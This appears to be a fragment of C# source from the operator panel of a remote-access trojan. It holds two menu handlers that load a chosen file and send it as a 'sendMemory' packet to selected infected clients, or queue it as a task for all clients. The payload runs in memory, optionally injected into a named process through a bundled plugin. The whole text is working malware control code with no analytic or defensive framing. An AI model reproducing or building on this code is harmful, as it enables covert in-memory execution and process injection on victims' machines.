private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { try { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); if (formSend.isOK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); if (formSend.comboBox1.SelectedIndex == 0) { msgpack.ForcePathObject("Inject").AsString = ""; msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); } else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); } foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } formSend.Close(); formSend.Dispose(); } catch (Exception ex) { MessageBox.Show(ex.Message); return; } } }
private void SENDFILETOMEMORYToolStripMenuItem1_Click(object sender, EventArgs e) { try { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); if (formSend.comboBox1.SelectedIndex == 0) { msgpack.ForcePathObject("Inject").AsString = ""; msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); } else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); } ListViewItem lv = new ListViewItem(); lv.Text = "SendMemory: " + Path.GetFileName(formSend.toolStripStatusLabel1.Tag.ToString()); lv.SubItems.Add("0"); lv.ToolTipText = Guid.NewGuid().ToString(); Program.form1.listView4.Items.Add(lv); Program.form1.listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); } formSend.Close(); formSend.Dispose(); } catch (Exception ex) { MessageBox.Show(ex.Message); return; } }